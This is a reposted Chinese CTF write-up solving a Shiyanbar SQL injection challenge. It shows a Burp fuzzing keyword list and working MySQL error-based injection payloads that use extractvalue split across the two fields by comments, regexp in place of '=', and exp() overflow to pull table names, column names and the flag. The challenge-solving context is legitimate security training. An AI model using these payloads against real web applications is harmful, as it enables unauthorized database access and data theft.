实验吧——加了料的报错注入(exp报错注入)

题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询

测试了一个报错函数发现如下回显,可见屏蔽了报错信息,也有可能是监测到了updatexml这个报错函数,于是先用burp来fuzzing测试一波,看看哪些关键字

被屏蔽了

 

burp抓包并send to intruder

分别对username和password进行fuzzing测试,这里演示username的,设置完后点击start attact

 

fuzzing测试的字典我是自己写的,就写了些常见的关键字,你们可以将就用下

and
or
=
>
<
(
)
()
'
"
regexp
substr
mid
left
join
rigth
like
select
from
union
,
updatexml
extractvalue
exp
char
ascii
insert
into
delete
update
alter
create
where
/*
*/
-- 
--
#
all
distinct
not
as
order
by
desc
asc
having
floor
geometrycollection
polygon
multipoint
multilinestring
linestring
multipolygon

 

最后得出username处屏蔽了括号,=,substr 等等关键字

而password屏蔽了如updatexml,extractvalue等等会产生报错的函数,还有union,like 等等

 

似乎有点矛盾,想要报错注入,必须要构造一个报错函数,函数名 和 括号 缺一不可,但是两个注入点都不满足条件。但是可以将两个注入点“打通”,前者函数名,后者括号不就行了?于是构造如下

username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '

后台的查询语句就为

select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

去掉注释即为

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

 

然后猜解表名,因为password屏蔽了=,所以用regexp

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

猜解列名

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

猜解字段

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

 

这道题其实对于报错函数的过滤还有一个漏网之鱼——exp()

详见http://netsecurity.51cto.com/art/201508/489529.htm

 

所以构造

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '

 

转载于:https://www.cnblogs.com/leixiao-/p/9753810.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值